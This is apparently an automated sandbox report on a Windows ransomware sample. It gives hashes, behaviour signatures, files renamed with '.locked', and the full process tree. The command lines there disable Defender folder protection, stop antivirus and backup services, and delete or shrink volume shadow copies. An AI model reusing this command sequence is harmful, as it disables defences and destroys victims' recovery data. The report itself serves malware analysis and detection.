cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Resubmissions

30-04-2023 13:51

230430-q58pbshh32 10

Analysis

max time kernel
28s
max time network
31s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
30-04-2023 13:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

9^/10

ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\SplitRepair.tiff	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\SplitRepair.tiff.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\UpdateCompare.raw.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\WatchRead.png.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File opened for modification	C:\Users\Admin\Pictures\WriteUse.tiff	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\WriteUse.tiff.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\ClearPublish.raw.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\DismountSet.raw.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Deletes itself 1 IoCs

pid	Process
2388	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Enumerates connected drives 3 TTPs 18 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
844	sc.exe
1164	sc.exe
1700	sc.exe
1296	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
268	vssadmin.exe
328	vssadmin.exe
1508	vssadmin.exe
1624	vssadmin.exe
1296	vssadmin.exe
1248	vssadmin.exe
1712	vssadmin.exe
1776	vssadmin.exe
2004	vssadmin.exe
1096	vssadmin.exe
1972	vssadmin.exe
1756	vssadmin.exe
1036	vssadmin.exe
1704	vssadmin.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
1644	taskkill.exe
1144	taskkill.exe
1948	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2240	notepad.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2276	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	1144	taskkill.exe
Token: SeDebugPrivilege	1644	taskkill.exe
Token: SeDebugPrivilege	1948	taskkill.exe
Token: SeBackupPrivilege	1368	vssvc.exe
Token: SeRestorePrivilege	1368	vssvc.exe
Token: SeAuditPrivilege	1368	vssvc.exe
Token: SeDebugPrivilege	860	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1156 wrote to memory of 860	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	27
PID 1156 wrote to memory of 860	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	27
PID 1156 wrote to memory of 860	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	27
PID 1156 wrote to memory of 860	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	27
PID 1156 wrote to memory of 1912	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	170
PID 1156 wrote to memory of 1912	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	170
PID 1156 wrote to memory of 1912	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	170
PID 1156 wrote to memory of 1912	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	170
PID 1156 wrote to memory of 1164	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	131
PID 1156 wrote to memory of 1164	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	131
PID 1156 wrote to memory of 1164	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	131
PID 1156 wrote to memory of 1164	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	131
PID 1156 wrote to memory of 788	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	32
PID 1156 wrote to memory of 788	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	32
PID 1156 wrote to memory of 788	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	32
PID 1156 wrote to memory of 788	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	32
PID 1156 wrote to memory of 1700	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	137
PID 1156 wrote to memory of 1700	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	137
PID 1156 wrote to memory of 1700	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	137
PID 1156 wrote to memory of 1700	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	137
PID 1156 wrote to memory of 1548	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	113
PID 1156 wrote to memory of 1548	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	113
PID 1156 wrote to memory of 1548	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	113
PID 1156 wrote to memory of 1548	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	113
PID 1156 wrote to memory of 288	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	36
PID 1156 wrote to memory of 288	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	36
PID 1156 wrote to memory of 288	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	36
PID 1156 wrote to memory of 288	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	36
PID 1164 wrote to memory of 1844	1164	sc.exe	122
PID 1164 wrote to memory of 1844	1164	sc.exe	122
PID 1164 wrote to memory of 1844	1164	sc.exe	122
PID 1164 wrote to memory of 1844	1164	sc.exe	122
PID 1912 wrote to memory of 1332	1912	conhost.exe	43
PID 1912 wrote to memory of 1332	1912	conhost.exe	43
PID 1912 wrote to memory of 1332	1912	conhost.exe	43
PID 1912 wrote to memory of 1332	1912	conhost.exe	43
PID 788 wrote to memory of 1772	788	net.exe	125
PID 788 wrote to memory of 1772	788	net.exe	125
PID 788 wrote to memory of 1772	788	net.exe	125
PID 788 wrote to memory of 1772	788	net.exe	125
PID 1156 wrote to memory of 1796	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	114
PID 1156 wrote to memory of 1796	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	114
PID 1156 wrote to memory of 1796	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	114
PID 1156 wrote to memory of 1796	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	114
PID 288 wrote to memory of 1092	288	net.exe	49
PID 288 wrote to memory of 1092	288	net.exe	49
PID 288 wrote to memory of 1092	288	net.exe	49
PID 288 wrote to memory of 1092	288	net.exe	49
PID 1700 wrote to memory of 1368	1700	sc.exe	156
PID 1700 wrote to memory of 1368	1700	sc.exe	156
PID 1700 wrote to memory of 1368	1700	sc.exe	156
PID 1700 wrote to memory of 1368	1700	sc.exe	156
PID 1548 wrote to memory of 620	1548	conhost.exe	47
PID 1548 wrote to memory of 620	1548	conhost.exe	47
PID 1548 wrote to memory of 620	1548	conhost.exe	47
PID 1548 wrote to memory of 620	1548	conhost.exe	47
PID 1156 wrote to memory of 592	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	48
PID 1156 wrote to memory of 592	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	48
PID 1156 wrote to memory of 592	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	48
PID 1156 wrote to memory of 592	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	48
PID 1796 wrote to memory of 1792	1796	net1.exe	117
PID 1796 wrote to memory of 1792	1796	net1.exe	117
PID 1796 wrote to memory of 1792	1796	net1.exe	117
PID 1796 wrote to memory of 1792	1796	net1.exe	117

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1156
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:860
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:1912
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:1332
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:1164
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:1844
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:788
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:1772
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:1700
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:1368
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:288
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:1092
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:1796
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:1792
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:1548
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:620
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:592
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:1860
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:432
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:844
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:1960
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:656
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:1708
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:1860
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:736
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:600
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:996
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:1452
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:1624
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:1964
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:1508
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:2004
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:1248
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:1096
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:540
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:2024
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:1948
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:1648
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:1532
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:1340
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:392
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:1368
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:1952
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:1648
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:836
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:1968
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:1644
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:1812
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:1168
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:1296
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:908
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:1700
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:1036
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:844
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:1688
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:1704
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:1600
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:328
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:1276
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1796
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:1804
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:1728
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:1452
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:1368
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:1844
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:1624
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:2024
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:540
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:656
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:1036
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:1772
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:1492
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:1572
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:1508
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:844
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1144
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  - Suspicious use of WriteProcessMemory
  PID:1164
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1948
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  - Suspicious use of WriteProcessMemory
  PID:1700
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:1296
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1644
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1248
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:1712
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:268
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1776
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2004
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1972
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1096
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1756
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1624
